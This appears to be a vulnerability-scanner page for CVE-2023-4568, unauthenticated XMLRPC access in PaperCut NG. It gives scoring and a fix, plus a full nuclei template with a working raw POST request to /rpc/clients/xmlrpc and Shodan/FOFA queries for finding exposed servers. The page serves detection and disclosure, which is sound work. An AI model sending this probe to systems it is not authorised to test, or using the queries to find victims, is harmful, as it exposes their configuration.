PaperCut NG Unauthenticated XMLRPC Functionality

mediumseverity

6.5CVSS score

3.9%likelihood of exploitation, next 30 days

90%of all CVEs are less likely

Readycheck to confirm it

PaperCut NG allows for unauthenticated XMLRPC commands to be run by default. Versions 22.0.12 and below are confirmed to be affected, but later versions may also be affected due to lack of a vendor supplied patch.

Impact

Successful exploitation of this vulnerability could lead to remote code execution or unauthorized access to sensitive information.

Fix

Apply the latest security patches and updates from the vendor to address this vulnerability.

How to confirm it

Send: POST /rpc/clients/xmlrpc
Positive when: contains "conf.ssl-port" and "conf.auth-ttl-default" AND contains in header "text/xml" AND status 200

Run it with nuclei: nuclei -id CVE-2023-4568 -u <target>

The full check

id: CVE-2023-4568

info:
  name: PaperCut NG Unauthenticated XMLRPC Functionality
  author: DhiyaneshDK
  severity: medium
  description: |
    PaperCut NG allows for unauthenticated XMLRPC commands to be run by default. Versions 22.0.12 and below are confirmed to be affected, but later versions may also be affected due to lack of a vendor supplied patch.
  remediation: |
    Apply the latest security patches and updates from the vendor to address this vulnerability.
  impact: |
    Successful exploitation of this vulnerability could lead to remote code execution or unauthorized access to sensitive information.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-4568
    - https://www.tenable.com/security/research/tra-2023-31
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
    cvss-score: 6.5
    cve-id: CVE-2023-4568
    cwe-id: CWE-287
    epss-score: 0.03885
    epss-percentile: 0.90323
    cpe: cpe:2.3:a:papercut:papercut_ng:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: papercut
    product: papercut_ng
    shodan-query:
      - html:"content=\"PaperCut\""
      - http.html:'content="papercut'
      - cpe:"cpe:2.3:a:papercut:papercut_ng"
      - http.html:"content=\"papercut\""
    fofa-query:
      - body='content="papercut'
      - body="content=\"papercut\""
    google-query: html:'content="papercut'
  tags: cve2023,cve,unauth,papercut,intrusive,vuln

http:
  - raw:
      - |
        POST /rpc/clients/xmlrpc HTTP/1.1
        Host: {{Hostname}}
        Content-Type:text/xml

        <?xml version="1.0"?><methodCall><methodName>client.getGlobalConfig</methodName><params><param><value><string>str1</string></value></param><param><value><string>str2</string></value></param></params></methodCall>

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'conf.ssl-port'
          - 'conf.auth-ttl-default'
        condition: and

      - type: word
        part: header
        words:
          - text/xml

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from